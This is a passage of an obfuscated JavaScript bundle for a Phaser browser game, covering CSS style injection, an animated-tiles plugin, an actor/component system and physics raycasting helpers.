instanceof window['HTMLIFrameElement']) try { _0x4594cd = _0x4594cd['contentDocument']['head']; } catch (_0x458ef6) { _0x4594cd = null; } _0x2f4e0b[_0x37b0d4] = _0x4594cd; } return _0x2f4e0b[_0x37b0d4]; }(_0xc00391); if (!_0x1c39ad) throw new Error('Couldn\x27t\x20find\x20a\x20style\x20target.\x20This\x20probably\x20means\x20that\x20the\x20value\x20for\x20the\x20\x27insert\x27\x20parameter\x20is\x20invalid.'); _0x1c39ad['appendChild'](_0x119987); }; }, 0x2400: _0x19a28c => { 'use strict'; _0x19a28c['exports'] = function (_0x4a4ed9) { var _0x3bcad2 = document['createElement']('style'); return _0x4a4ed9['setAttributes'](_0x3bcad2, _0x4a4ed9['attributes']), _0x4a4ed9['insert'](_0x3bcad2, _0x4a4ed9['options']), _0x3bcad2; }; }, 0xded: (_0x1f73b8, _0x15f45b, _0x3f43c8) => { 'use strict'; _0x1f73b8['exports'] = function (_0x186a02) { var _0x2ac733 = _0x3f43c8['nc']; _0x2ac733 && _0x186a02['setAttribute']('nonce', _0x2ac733); }; }, 0x1e73: _0x6a3aa6 => { 'use strict'; _0x6a3aa6['exports'] = function (_0x2ac3c1) { if ('undefined' == typeof document) return { 'update': function () { }, 'remove': function () { } }; var _0x2ff5be = _0x2ac3c1['insertStyleElement'](_0x2ac3c1); return { 'update': function (_0x5d6b94) { !function (_0x5cf5a8, _0x4160e1, _0x4c41e3) { var _0x500cfe = ''; _0x4c41e3['supports'] && (_0x500cfe += '@supports\x20('['concat'](_0x4c41e3['supports'], ')\x20{')), _0x4c41e3['media'] && (_0x500cfe += '@media\x20'['concat'](_0x4c41e3['media'], '\x20{')); var _0x4d8446 = void 0x0 !== _0x4c41e3['layer']; _0x4d8446 && (_0x500cfe += '@layer'['concat'](_0x4c41e3['layer']['length'] > 0x0 ? '\x20'['concat'](_0x4c41e3['layer']) : '', '\x20{')), _0x500cfe += _0x4c41e3['css'], _0x4d8446 && (_0x500cfe += '}'), _0x4c41e3['media'] && (_0x500cfe += '}'), _0x4c41e3['supports'] && (_0x500cfe += '}'); var _0x3cc11b = _0x4c41e3['sourceMap']; _0x3cc11b && 'undefined' != typeof btoa && (_0x500cfe += '\x0a/*#\x20sourceMappingURL=data:application/json;base64,'['concat'](btoa(unescape(encodeURIComponent(JSON['stringify'](_0x3cc11b)))), '\x20*/')), _0x4160e1['styleTagTransform'](_0x500cfe, _0x5cf5a8, _0x4160e1['options']); }(_0x2ff5be, _0x2ac3c1, _0x5d6b94); }, 'remove': function () { !function (_0x339594) { if (null === _0x339594['parentNode']) return !0x1; _0x339594['parentNode']['removeChild'](_0x339594); }(_0x2ff5be); } }; }; }, 0x11ed: _0x23e1e9 => { 'use strict'; _0x23e1e9['exports'] = function (_0x5e2455, _0x11e17d) { if (_0x11e17d['styleSheet']) _0x11e17d['styleSheet']['cssText'] = _0x5e2455; else { for (; _0x11e17d['firstChild'];)_0x11e17d['removeChild'](_0x11e17d['firstChild']); _0x11e17d['appendChild'](document['createTextNode'](_0x5e2455)); } }; }, 0x193: (_0x2a4098, _0x12d6fc) => { 'use strict'; var _0x22af85; Object['defineProperty'](_0x12d6fc, '__esModule', { 'value': !0x0 }), window, _0x22af85 = function () { return function (_0x89ccc7) { var _0x449078 = {}; function _0x1c4b3c(_0x199c11) { if (_0x449078[_0x199c11]) return _0x449078[_0x199c11]['exports']; var _0x2c986a = _0x449078[_0x199c11] = { 'i': _0x199c11, 'l': !0x1, 'exports': {} }; return _0x89ccc7[_0x199c11]['call'](_0x2c986a['exports'], _0x2c986a, _0x2c986a['exports'], _0x1c4b3c), _0x2c986a['l'] = !0x0, _0x2c986a['exports']; } return _0x1c4b3c['m'] = _0x89ccc7, _0x1c4b3c['c'] = _0x449078, _0x1c4b3c['d'] = function (_0x43358b, _0x510858, _0x2d7f28) { _0x1c4b3c['o'](_0x43358b, _0x510858) || Object['defineProperty'](_0x43358b, _0x510858, { 'enumerable': !0x0, 'get': _0x2d7f28 }); }, _0x1c4b3c['r'] = function (_0x216e19) { 'undefined' != typeof Symbol && Symbol['toStringTag'] && Object['defineProperty'](_0x216e19, Symbol['toStringTag'], { 'value': 'Module' }), Object['defineProperty'](_0x216e19, '__esModule', { 'value': !0x0 }); }, _0x1c4b3c['t'] = function (_0x47dadf, _0x55a2ad) { if (0x1 & _0x55a2ad && (_0x47dadf = _0x1c4b3c(_0x47dadf)), 0x8 & _0x55a2ad) return _0x47dadf; if (0x4 & _0x55a2ad && 'object' == typeof _0x47dadf && _0x47dadf && _0x47dadf['__esModule']) return _0x47dadf; var _0x11af38 = Object['create'](null); if (_0x1c4b3c['r'](_0x11af38), Object['defineProperty'](_0x11af38, 'default', { 'enumerable': !0x0, 'value': _0x47dadf }), 0x2 & _0x55a2ad && 'string' != typeof _0x47dadf) { for (var _0x574e72 in _0x47dadf) _0x1c4b3c['d'](_0x11af38, _0x574e72, function (_0x53740a) { return _0x47dadf[_0x53740a]; }['bind'](null, _0x574e72)); } return _0x11af38; }, _0x1c4b3c['n'] = function (_0x544058) { var _0x22d60d = _0x544058 && _0x544058['__esModule'] ? function () { return _0x544058['default']; } : function () { return _0x544058; }; return _0x1c4b3c['d'](_0x22d60d, 'a', _0x22d60d), _0x22d60d; }, _0x1c4b3c['o'] = function (_0x212116, _0x374115) { return Object['prototype']['hasOwnProperty']['call'](_0x212116, _0x374115); }, _0x1c4b3c['p'] = '', _0x1c4b3c(_0x1c4b3c['s'] = 0x0); }([function (_0x153e8c, _0x392708, _0x6d5f06) { var _0x4457ed = (function () { function _0x33bc69(_0x3c8afa, _0x3e63b1) { for (var _0x3485bd = 0x0; _0x3485bd < _0x3e63b1['length']; _0x3485bd++) { var _0x56e151 = _0x3e63b1[_0x3485bd]; _0x56e151['enumerable'] = _0x56e151['enumerable'] || !0x1, _0x56e151['configurable'] = !0x0, 'value' in _0x56e151 && (_0x56e151['writable'] = !0x0), Object['defineProperty'](_0x3c8afa, _0x56e151['key'], _0x56e151); } } return function (_0x536d55, _0x588790, _0x15ab4e) { return _0x588790 && _0x33bc69(_0x536d55['prototype'], _0x588790), _0x15ab4e && _0x33bc69(_0x536d55, _0x15ab4e), _0x536d55; }; }()), _0x5236c7 = function (_0x4538ef) { function _0x1e0f1c(_0x56a553, _0x3a17d7) { !function (_0x197ba5, _0x33920a) { if (!(_0x197ba5 instanceof _0x33920a)) throw new TypeError('Cannot\x20call\x20a\x20class\x20as\x20a\x20function'); }(this, _0x1e0f1c); var _0x13f461 = function (_0x37666a, _0xc8c588) { if (!_0x37666a) throw new ReferenceError('this\x20hasn\x27t\x20been\x20initialised\x20-\x20super()\x20hasn\x27t\x20been\x20called'); return !_0xc8c588 || 'object' != typeof _0xc8c588 && 'function' != typeof _0xc8c588 ? _0x37666a : _0xc8c588; }(this, (_0x1e0f1c['__proto__'] || Object['getPrototypeOf'](_0x1e0f1c))['call'](this, _0x56a553, _0x3a17d7)); return _0x13f461['map'] = null, _0x13f461['animatedTiles'] = [], _0x13f461['rate'] = 0x1, _0x13f461['active'] = !0x1, _0x13f461['activeLayer'] = [], _0x13f461['followTimeScale'] = !0x0, _0x56a553['sys']['settings']['isBooted'] || _0x56a553['sys']['events']['once']('boot', _0x13f461['boot'], _0x13f461), _0x13f461; } return function (_0x157bfd, _0x25aa7b) { if ('function' != typeof _0x25aa7b && null !== _0x25aa7b) throw new TypeError('Super\x20expression\x20must\x20either\x20be\x20null\x20or\x20a\x20function,\x20not\x20' + typeof _0x25aa7b); _0x157bfd['prototype'] = Object['create'](_0x25aa7b && _0x25aa7b['prototype'], { 'constructor': { 'value': _0x157bfd, 'enumerable': !0x1, 'writable': !0x0, 'configurable': !0x0 } }), _0x25aa7b && (Object['setPrototypeOf'] ? Object['setPrototypeOf'](_0x157bfd, _0x25aa7b) : _0x157bfd['__proto__'] = _0x25aa7b); }(_0x1e0f1c, Phaser['Plugins']['ScenePlugin']), _0x4457ed(_0x1e0f1c, [{ 'key': 'boot', 'value': function () { var _0x30b932 = this['systems']['events']; _0x30b932['on']('postupdate', this['postUpdate'], this), _0x30b932['on']('shutdown', this['shutdown'], this), _0x30b932['on']('destroy', this['destroy'], this); } }, { 'key': 'init', 'value': function (_0xb780b6) { var _0x433dc3 = { 'map': _0xb780b6, 'animatedTiles': this['getAnimatedTiles'](_0xb780b6), 'active': !0x0, 'rate': 0x1, 'activeLayer': [] }; _0xb780b6['layers']['forEach'](function () { return _0x433dc3['activeLayer']['push'](!0x0); }), this['animatedTiles']['push'](_0x433dc3), 0x1 === this['animatedTiles']['length'] && (this['active'] = !0x0); } }, { 'key': 'setRate', 'value': function (_0xfec4f1) { var _0x3156d4 = arguments['length'] > 0x1 && void 0x0 !== arguments[0x1] ? arguments[0x1] : null, _0x5b2db2 = arguments['length'] > 0x2 && void 0x0 !== arguments[0x2] ? arguments[0x2] : null; if (null === _0x3156d4) null === _0x5b2db2 ? this['rate'] = _0xfec4f1 : this['animatedTiles'][_0x5b2db2]['rate'] = _0xfec4f1; else { var _0x2de7be = function (_0x1611ce) { _0x1611ce['forEach'](function (_0x3c82e2) { _0x3c82e2['index'] === _0x3156d4 && (_0x3c82e2['rate'] = _0xfec4f1); }); }; null === _0x5b2db2 ? this['animatedTiles']['forEach'](function (_0x2f26eb) { _0x2de7be(_0x2f26eb['animatedTiles']); }) : _0x2de7be(this['animatedTiles'][_0x5b2db2]['animatedTiles']); } } }, { 'key': 'resetRates', 'value': function () { var _0x41a2b3 = arguments['length'] > 0x0 && void 0x0 !== arguments[0x0] ? arguments[0x0] : null; null === _0x41a2b3 ? (this['rate'] = 0x1, this['animatedTiles']['forEach'](function (_0x24c583) { _0x24c583['rate'] = 0x1, _0x24c583['animatedTiles']['forEach'](function (_0xd2c3c) { _0xd2c3c['rate'] = 0x1; }); })) : (this['animatedTiles'][_0x41a2b3]['rate'] = 0x1, this['animatedTiles'][_0x41a2b3]['animatedTiles']['forEach'](function (_0x2080c8) { _0x2080c8['rate'] = 0x1; })); } }, { 'key': 'resume', 'value': function () { var _0x291f35 = this, _0x18a292 = arguments['length'] > 0x0 && void 0x0 !== arguments[0x0] ? arguments[0x0] : null, _0x563e8d = arguments['length'] > 0x1 && void 0x0 !== arguments[0x1] ? arguments[0x1] : null, _0x484966 = null === _0x563e8d ? this : this['animatedTiles'][_0x563e8d]; null === _0x18a292 ? _0x484966['active'] = !0x0 : (_0x484966['activeLayer'][_0x18a292] = !0x0, _0x484966['animatedTiles']['forEach'](function (_0x44144a) { _0x291f35['updateLayer'](_0x44144a, _0x44144a['tiles'][_0x18a292]); })); } }, { 'key': 'pause', 'value': function () { var _0x1b7c1d = arguments['length'] > 0x0 && void 0x0 !== arguments[0x0] ? arguments[0x0] : null, _0xfebcab = arguments['length'] > 0x1 && void 0x0 !== arguments[0x1] ? arguments[0x1] : null, _0x7fbcbb = null === _0xfebcab ? this : this['animatedTiles'][_0xfebcab]; null === _0x1b7c1d ? _0x7fbcbb['active'] = !0x1 : _0x7fbcbb['activeLayer'][_0x1b7c1d] = !0x1; } }, { 'key': 'postUpdate', 'value': function (_0x405798, _0x3d1661) { var _0x1e14bb = this; if (this['active']) { var _0x828932 = _0x3d1661 * this['rate'] * (this['followTimeScale'] ? this['scene']['time']['timeScale'] : 0x1); this['animatedTiles']['forEach'](function (_0x4e3150) { if (_0x4e3150['active']) { var _0x181124 = _0x828932 * _0x4e3150['rate']; _0x4e3150['animatedTiles']['forEach'](function (_0xcfb16e) { if (_0xcfb16e['next'] -= _0x181124 * _0xcfb16e['rate'], _0xcfb16e['next'] < 0x0) { var _0x3515a0 = _0xcfb16e['currentFrame'], _0x364b6c = _0xcfb16e['frames'][_0x3515a0]['tileid'], _0x40efda = _0x3515a0 + 0x1; _0x40efda > _0xcfb16e['frames']['length'] - 0x1 && (_0x40efda = 0x0), _0xcfb16e['next'] = _0xcfb16e['frames'][_0x40efda]['duration'], _0xcfb16e['currentFrame'] = _0x40efda, _0xcfb16e['tiles']['forEach'](function (_0xcb076b, _0x1fdb08) { _0x4e3150['activeLayer'][_0x1fdb08] && _0x1e14bb['updateLayer'](_0xcfb16e, _0xcb076b, _0x364b6c); }); } }); } }); } } }, { 'key': 'updateLayer', 'value': function (_0x430c55, _0x463ebb) { var _0x14173d = arguments['length'] > 0x2 && void 0x0 !== arguments[0x2] ? arguments[0x2] : -0x1, _0x244fbb = [], _0x4c532b = _0x430c55['frames'][_0x430c55['currentFrame']]['tileid']; _0x463ebb['forEach'](function (_0x18c7a5) { _0x14173d > -0x1 && (null === _0x18c7a5 || _0x18c7a5['index'] !== _0x14173d) ? _0x244fbb['push'](_0x18c7a5) : _0x18c7a5['index'] = _0x4c532b; }), _0x244fbb['forEach'](function (_0x350433) { var _0x321a1c = _0x463ebb['indexOf'](_0x350433); _0x321a1c > -0x1 && _0x463ebb['splice'](_0x321a1c, 0x1); }); } }, { 'key': 'shutdown', 'value': function () { this['animatedTiles']['length'] = 0x0; } }, { 'key': 'destroy', 'value': function () { this['shutdown'](), this['scene'] = void 0x0; } }, { 'key': 'getAnimatedTiles', 'value': function (_0x321c36) { var _0x78b907 = this, _0x3da400 = []; return _0x321c36['tilesets']['forEach'](function (_0xdca361) { var _0x4a678b = _0xdca361['tileData']; Object['keys'](_0x4a678b)['forEach'](function (_0x3abcc) { if (_0x3abcc = parseInt(_0x3abcc), _0x4a678b[_0x3abcc]['hasOwnProperty']('animation')) { var _0xab7185 = { 'index': _0x3abcc + _0xdca361['firstgid'], 'frames': [], 'currentFrame': 0x0, 'tiles': [], 'rate': 0x1 }; _0x4a678b[_0x3abcc]['animation']['forEach'](function (_0x29ed9e) { var _0x45d0a8 = { 'duration': _0x29ed9e['duration'], 'tileid': _0x29ed9e['tileid'] + _0xdca361['firstgid'] }; _0xab7185['frames']['push'](_0x45d0a8); }), _0xab7185['next'] = _0xab7185['frames'][0x0]['duration'], _0xab7185['currentFrame'] = _0xab7185['frames']['findIndex'](function (_0x13b39e) { return _0x13b39e['tileid'] === _0x3abcc + _0xdca361['firstgid']; }), _0x321c36['layers']['forEach'](function (_0x19898d) { if (_0x19898d['tilemapLayer'] && _0x19898d['tilemapLayer']['type'] && 'StaticTilemapLayer' === _0x19898d['tilemapLayer']['type']) _0xab7185['tiles']['push']([]); else { var _0x5849c7 = []; _0x19898d['data']['forEach'](function (_0x3074c9) { _0x3074c9['forEach'](function (_0x12b844) { _0x12b844 && _0x12b844['index'] - _0xdca361['firstgid'] === _0x3abcc && _0x5849c7['push'](_0x12b844); }); }), _0xab7185['tiles']['push'](_0x5849c7); } }), _0x3da400['push'](_0xab7185); } }); }), _0x321c36['layers']['forEach'](function (_0x1e3b6f, _0x542656) { _0x78b907['activeLayer'][_0x542656] = !0x0; }), _0x3da400; } }, { 'key': 'putTileAt', 'value': function (_0x366960, _0x41ae46, _0x12ab6c, _0x490a53) { } }, { 'key': 'updateAnimatedTiles', 'value': function () { var _0x2cb654 = null; null === _0x2cb654 && (_0x2cb654 = [], this['animatedTiles']['forEach'](function (_0x2dcd7f) { _0x2cb654['push'](_0x2dcd7f); })), _0x2cb654['forEach'](function (_0x19017f) { _0x19017f['animatedTiles']['forEach'](function (_0x20effb) { _0x20effb['tiles']['forEach'](function (_0x517ac3, _0x45383b) { var _0x1883f9 = _0x19017f['map']['layers'][_0x45383b]; if (!_0x1883f9['type'] || 'StaticTilemapLayer' !== _0x1883f9['type']) { for (var _0x396ea3 = 0x0; _0x396ea3 < 0xa; _0x396ea3++)for (var _0xdca356 = 0x0; _0xdca356 < 0xa; _0xdca356++) { var _0x377bd2 = _0x19017f['map']['layers'][_0x45383b]['data'][_0x396ea3][_0xdca356]; _0x377bd2['index'] == _0x20effb['index'] && (-0x1 === _0x517ac3['indexOf'](_0x377bd2) && _0x517ac3['push'](_0x377bd2), _0x377bd2['index'] = _0x20effb['frames'][_0x20effb['currentFrame']]['tileid']); } } }); }); }); } }]), _0x1e0f1c; }(); _0x5236c7['register'] = function (_0x1510a7) { _0x1510a7['register']('AnimatedTiles', _0x5236c7, 'animatedTiles'); }, _0x153e8c['exports'] = _0x5236c7; }]); }, _0x2a4098['exports'] = _0x22af85(); }, 0x25fa: (_0x4ad258, _0x3f5865, _0x2dbb0c) => { 'use strict'; Object['defineProperty'](_0x3f5865, '__esModule', { 'value': !0x0 }), _0x3f5865['Actor'] = void 0x0; const _0xb14455 = _0x2dbb0c(0xf0e), _0x5f0325 = _0x2dbb0c(0x18db), _0x389e40 = _0x2dbb0c(0x5d3), _0x577473 = _0x2dbb0c(0x221b), _0x1d1825 = _0x2dbb0c(0x2347); _0x3f5865['Actor'] = class { ['id'];['namedId'];['scheduledForDestruction'] = !0x1;['config'];['store'];['messageBus'];['gameMessageBus'];['sceneMessageBus'];['physicsComponents'] = [];['featureComponents'] = []; constructor(_0xdc0c67) { this['config'] = _0xdc0c67, this['config']['name'] || (this['config']['name'] = 'DefaultActor'), this['id'] = 'Actor|' + this['config']['gameContext']['idProvider']['get'](this['config']['idContext'] ?? _0x577473['EProviderContext']['MAIN']), this['namedId'] = this['config']['namedId'], this['messageBus'] = new _0xb14455['MessageBus'](), this['store'] = new _0x5f0325['Store'](_0xdc0c67['model']), this['gameMessageBus'] = _0xdc0c67['gameMessageBus'], this['sceneMessageBus'] = _0xdc0c67['sceneMessageBus'], this['config']['initialPosition'] && (this['store']['update']('renderPosition', (0x0, _0x1d1825['physicsVector2RenderVector'])(this['config']['initialPosition'])), this['store']['update']('physicsPosition', this['config']['initialPosition'])), this['registerComponents'](_0xdc0c67), this['registerVoidCheck'](); } ['updatePhysicsComponents'](_0x59937a) { this['scheduledForDestruction'] ? this['processDestruction']() : this['physicsComponents']['forEach'](_0x56886b => _0x56886b['coreUpdate'](_0x59937a)); } ['updateFeatureComponents'](_0x3647b7) { this['scheduledForDestruction'] || this['featureComponents']['forEach'](_0xc9e934 => _0xc9e934['coreUpdate'](_0x3647b7)); } ['updateActorPosition']() { this['scheduledForDestruction'] || this['physicsComponents']['forEach'](_0x54928f => _0x54928f['coreUpdatePosition']()); } ['getVerificationPosition']() { return this['config']['useForVerification'] ? this['store']['get']('renderPosition') : void 0x0; } ['getTags']() { return this['config']['tags'] || []; } ['getConfig']() { return this['config']; } ['getFromStore'](_0x3734bb) { if (this['store']) return this['store']['get'](_0x3734bb); } ['subscribeToStore'](_0x1625b8, _0x16c675) { this['store']['subscribe'](_0x1625b8, _0x16c675); } ['unsubscribeFromStore'](_0x1f6267, _0x24be41) { this['store']['unsubscribe'](_0x1f6267, _0x24be41); } ['messageActor'](_0x2d234d, _0x33a19f) { this['messageBus']['publish'](_0x2d234d, _0x33a19f); } ['destroy']() { this['scheduledForDestruction'] = !0x0; } ['endSceneDestroy']() { setTimeout(() => this['processDestruction']()); } ['registerActor'](_0x875804) { this['gameMessageBus']['publish']('registerActor', { 'scene': this['config']['scene'], 'actor': _0x875804 }); } ['registerComponents'](_0x52b0f7) { _0x52b0f7['components']['forEach'](_0x49c2db => { _0x49c2db['isPhysicsComponent']() ? (this['physicsComponents']['push'](_0x49c2db), this['initializeComponent'](_0x49c2db)) : ((0x0, _0x389e40['runningAsBackend'])() && !_0x49c2db['isRenderComponent']() || !(0x0, _0x389e40['runningAsBackend'])()) && (this['featureComponents']['push'](_0x49c2db), this['initializeComponent'](_0x49c2db)); }), _0x52b0f7['gameContext']['timeProvider']['delayAction'](() => { _0x52b0f7['components']['forEach'](_0x5be839 => { (_0x5be839['isPhysicsComponent']() || (0x0, _0x389e40['runningAsBackend'])() && !_0x5be839['isRenderComponent']() || !(0x0, _0x389e40['runningAsBackend'])()) && this['postInitializeComponent'](_0x5be839); }); }); } ['initializeComponent'](_0x2399b6) { _0x2399b6['coreInit']({ 'store': this['store'], 'messageBus': this['messageBus'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'actor': this, 'gameContext': this['config']['gameContext'], 'scene': this['config']['scene'] }); } ['postInitializeComponent'](_0x132013) { _0x132013['corePostInit']({ 'store': this['store'], 'messageBus': this['messageBus'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'actor': this, 'gameContext': this['config']['gameContext'], 'scene': this['config']['scene'] }); } ['processDestruction']() { this['messageBus']?.['destroy'](), this['messageBus'] = null, this['store']?.['destroy'](), this['store'] = null, this['physicsComponents']['forEach'](_0xcb66d1 => _0xcb66d1['coreDestroy']()), this['physicsComponents'] = [], this['featureComponents']['forEach'](_0x51fba8 => _0x51fba8['coreDestroy']()), this['featureComponents'] = [], this['sceneMessageBus']['unsubscribeByOwner'](this), this['gameMessageBus']['unsubscribeByOwner'](this), this['gameMessageBus']['publish']('destroyActor', { 'scene': this['config']['scene'], 'actor': this }); } ['registerVoidCheck']() { this['gameMessageBus']['subscribe'](this, 'voidRun', () => { this['config']['useForVerification'] = void 0x0, this['getVerificationPosition'] = () => ({ 'x': NaN, 'y': NaN }); }); } }; }, 0x2414: (_0xc552c3, _0x3501b7, _0x52719e) => { 'use strict'; Object['defineProperty'](_0x3501b7, '__esModule', { 'value': !0x0 }), _0x3501b7['ActorComponent'] = void 0x0; const _0x84b5dd = _0x52719e(0x5d3); _0x3501b7['ActorComponent'] = class { ['config'];['controllers'] = [];['gameContext'];['messageBus'];['gameMessageBus'];['sceneMessageBus'];['store'];['actor'];['scene'];['active'] = !0x0; constructor(_0x11888b) { this['config'] = _0x11888b || {}, this['controllers'] = this['config']['controllers'] || []; } ['coreInit'](_0x2a9c32) { this['config']['disabledOnBackend'] && (0x0, _0x84b5dd['runningAsBackend'])() || (this['messageBus'] = _0x2a9c32['messageBus'], this['gameMessageBus'] = _0x2a9c32['gameMessageBus'], this['sceneMessageBus'] = _0x2a9c32['sceneMessageBus'], this['store'] = _0x2a9c32['store'], this['scene'] = _0x2a9c32['scene'], this['actor'] = _0x2a9c32['actor'], this['gameContext'] = _0x2a9c32['gameContext'], this['controllers']['forEach'](_0x37823d => _0x37823d['coreInit']({ ..._0x2a9c32, 'component': this })), this['config'] = { ...this['config'], ..._0x2a9c32 }, this['init'](_0x2a9c32)); } ['corePostInit'](_0x19e484) { this['config']['disabledOnBackend'] && (0x0, _0x84b5dd['runningAsBackend'])() || (this['controllers']['forEach'](_0x246594 => _0x246594['corePostInit']({ ..._0x19e484, 'component': this })), this['postInit'](_0x19e484)); } ['coreDestroy']() { this['destroy'](), this['gameMessageBus']?.['unsubscribeByOwner'](this), this['messageBus']?.['unsubscribeByOwner'](this), this['sceneMessageBus']?.['unsubscribeByOwner'](this), this['controllers']['forEach'](_0x446cd9 => _0x446cd9['coreDestroy']()), this['controllers'] = [], this['scene'] = void 0x0, this['actor'] = void 0x0; } ['coreUpdate'](_0x27a4c1) { this['config']['disabledOnBackend'] && (0x0, _0x84b5dd['runningAsBackend'])() || this['active'] && (this['controllers']['forEach'](_0x2bdec0 => _0x2bdec0['coreUpdate'](_0x27a4c1)), this['update'](_0x27a4c1)); } ['coreUpdatePosition']() { this['config']['disabledOnBackend'] && (0x0, _0x84b5dd['runningAsBackend'])() || this['active'] && (this['controllers']['forEach'](_0x53cfa1 => _0x53cfa1['coreUpdatePosition']()), this['updatePosition']()); } ['isPhysicsComponent']() { return !!this['config']['isPhysicsComponent']; } ['isRenderComponent']() { return !!this['config']['isRenderComponent']; } ['update'](_0x5c4bf4) { } ['updatePosition']() { } ['init'](_0xdd4c1d) { } ['postInit'](_0x841c02) { } ['destroy']() { } }; }, 0x14e9: (_0x411d54, _0x1c5f38, _0x23270f) => { 'use strict'; Object['defineProperty'](_0x1c5f38, '__esModule', { 'value': !0x0 }), _0x1c5f38['ActorDebugRenderComponent'] = void 0x0; const _0x3f92a6 = _0x23270f(0x2414), _0x5803f2 = _0x23270f(0x959), _0x33cd5 = _0x23270f(0x1f74), _0x3b69db = _0x23270f(0x2347); class _0x52c6e3 extends _0x3f92a6['ActorComponent']{ constructor(_0x486b7b) { super(_0x486b7b); } ['init']() { this['gameMessageBus']['subscribe'](this, 'debugUpdate', this['renderDebugData']['bind'](this)); } ['renderDebugData']() { if (!localStorage['getItem']('render_debug')) return; const _0xe30db4 = this['gameContext']['getDebugGraphics'](); if (!_0xe30db4) return; const _0x277992 = this['store']['get']('lookDirection'), _0x320619 = this['store']['get']('renderPosition'), _0x52f5d0 = this['store']['get']('physicsPosition'); void 0x0 !== this['config']['firingPoints'] && Object['entries'](this['config']['firingPoints'])['forEach'](([_0x48e24b, _0x13c60a]) => { const _0x40b5d4 = (0x0, _0x3b69db['physicsVector2RenderVector'])((0x0, _0x5803f2['getFiringPosition'])(this['store']['get']('lookDirection'), _0x52f5d0, _0x13c60a)), _0x6c5df4 = parseInt(_0x13c60a['debugColor'] ?? '', 0x10) || 0xff00; (0x0, _0x33cd5['drawCross'])(_0xe30db4, _0x40b5d4['x'], _0x40b5d4['y'], 0xf, _0x6c5df4); }), (0x0, _0x33cd5['drawArrow'])(_0xe30db4, _0x320619['x'], _0x320619['y'], _0x277992, 0x78, 0xff00); } } _0x1c5f38['ActorDebugRenderComponent'] = _0x52c6e3; }, 0xd2e: (_0x3a6976, _0x5c55c4, _0x4eb827) => { 'use strict'; Object['defineProperty'](_0x5c55c4, '__esModule', { 'value': !0x0 }), _0x5c55c4['EDirections'] = _0x5c55c4['isFacingLeft'] = _0x5c55c4['actorModel'] = void 0x0; const _0x1a9631 = _0x4eb827(0x18e5); _0x5c55c4['actorModel'] = { 'renderPosition': new _0x1a9631['Vector'](NaN, NaN), 'renderRotation': 0x0, 'physicsPosition': new _0x1a9631['Vector'](NaN, NaN), 'lookDirection': 0x0 }, _0x5c55c4['isFacingLeft'] = function (_0x56d80e = 0x0) { const _0x58bc94 = 0x2 * Math['PI'], _0x3e3359 = (_0x56d80e + _0x58bc94) % _0x58bc94; return _0x3e3359 > Math['PI'] && _0x3e3359 < _0x58bc94; }, function (_0x51522e) { _0x51522e[_0x51522e['LEFT'] = -Math['PI'] / 0x2] = 'LEFT', _0x51522e[_0x51522e['RIGHT'] = Math['PI'] / 0x2] = 'RIGHT', _0x51522e[_0x51522e['UP_LEFT'] = -0.000001] = 'UP_LEFT', _0x51522e[_0x51522e['UP_RIGHT'] = 0.000001] = 'UP_RIGHT', _0x51522e[_0x51522e['DOWN_LEFT'] = 0.000001 - Math['PI']] = 'DOWN_LEFT', _0x51522e[_0x51522e['DOWN_RIGHT'] = Math['PI']] = 'DOWN_RIGHT'; }(_0x5c55c4['EDirections'] || (_0x5c55c4['EDirections'] = {})); }, 0x83: (_0x40aeea, _0x18c8d8, _0x47de9f) => { 'use strict'; Object['defineProperty'](_0x18c8d8, '__esModule', { 'value': !0x0 }), _0x18c8d8['AirFrictionController'] = void 0x0; const _0x2f968a = _0x47de9f(0x1520); class _0x1c5c79 extends _0x2f968a['ComponentController']{ constructor(_0x3f2461) { super(_0x3f2461); } ['update'](_0xf71c7f) { const _0x117206 = this['component']['body']['linvel'](), _0x1b3246 = this['config']['maxVelocity'] ?? 0x32, _0x276458 = _0x117206['x'] * Math['pow'](this['config']['airFriction'] ?? 0x1, 0x3e8 * _0xf71c7f), _0x57c077 = Math['min'](_0x1b3246, _0x276458); this['component']['get']()['setLinvel']({ 'x': _0x57c077, 'y': _0x117206['y'] }, !0x0); } } _0x18c8d8['AirFrictionController'] = _0x1c5c79; }, 0x17e: function (_0x56a0d8, _0x39b6f7, _0x41effe) { 'use strict'; var _0x631355 = this && this['__importDefault'] || function (_0x565c50) { return _0x565c50 && _0x565c50['__esModule'] ? _0x565c50 : { 'default': _0x565c50 }; }; Object['defineProperty'](_0x39b6f7, '__esModule', { 'value': !0x0 }), _0x39b6f7['isSensingGround'] = _0x39b6f7['isGrounded'] = _0x39b6f7['calculateDistanceToTarget'] = _0x39b6f7['calculateDistanceToGround'] = _0x39b6f7['groundFilterPredicate'] = void 0x0; const _0x8d21cc = _0x631355(_0x41effe(0x9a8)), _0xb70576 = _0x41effe(0x1932), _0x46e2fb = _0x41effe(0x1832), _0x3f5e84 = _0x41effe(0xb35), _0x18e75d = _0x41effe(0x18e5), _0x19c602 = 0x12c; _0x39b6f7['groundFilterPredicate'] = _0x3ab025 => 0x0 != (_0x3ab025['collisionGroups']() & _0x3f5e84['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10), _0x39b6f7['calculateDistanceToGround'] = function (_0x1f7ace, _0x4cae1c) { const _0xa5bf40 = _0x19c602, _0xa00584 = new _0x8d21cc['default']['Ray']({ 'x': _0x4cae1c['x'], 'y': _0x4cae1c['y'] }, { 'x': 0x0, 'y': 0x1 }), _0x75f22d = _0x1f7ace['castRay'](_0xa00584, _0xa5bf40, !0x0, void 0x0, void 0x0, void 0x0, void 0x0, _0x39b6f7['groundFilterPredicate']); if (null !== _0x75f22d) { const _0x41f952 = _0xa00584['pointAt'](_0x75f22d['toi']); return (0x0, _0x18e75d['length'])(new _0x18e75d['Vector'](_0x41f952['x'] - _0x4cae1c['x'], _0x41f952['y'] - _0x4cae1c['y'])); } return -0x1; }, _0x39b6f7['calculateDistanceToTarget'] = function (_0x1e3891, _0x4a649a, _0x3fb658) { const _0x3b6be8 = { 'x': _0x3fb658['x'] - _0x4a649a['x'], 'y': _0x3fb658['y'] - _0x4a649a['y'] }, _0x4feb59 = Math['sqrt'](_0x3b6be8['x'] ** 0x2 + _0x3b6be8['y'] ** 0x2); _0x3b6be8['x'] /= _0x4feb59, _0x3b6be8['y'] /= _0x4feb59; const _0x5b2f4b = new _0x8d21cc['default']['Ray']({ 'x': _0x4a649a['x'], 'y': _0x4a649a['y'] }, _0x3b6be8); return null === _0x1e3891['castRay'](_0x5b2f4b, _0x4feb59, !0x0, void 0x0, void 0x0, void 0x0, 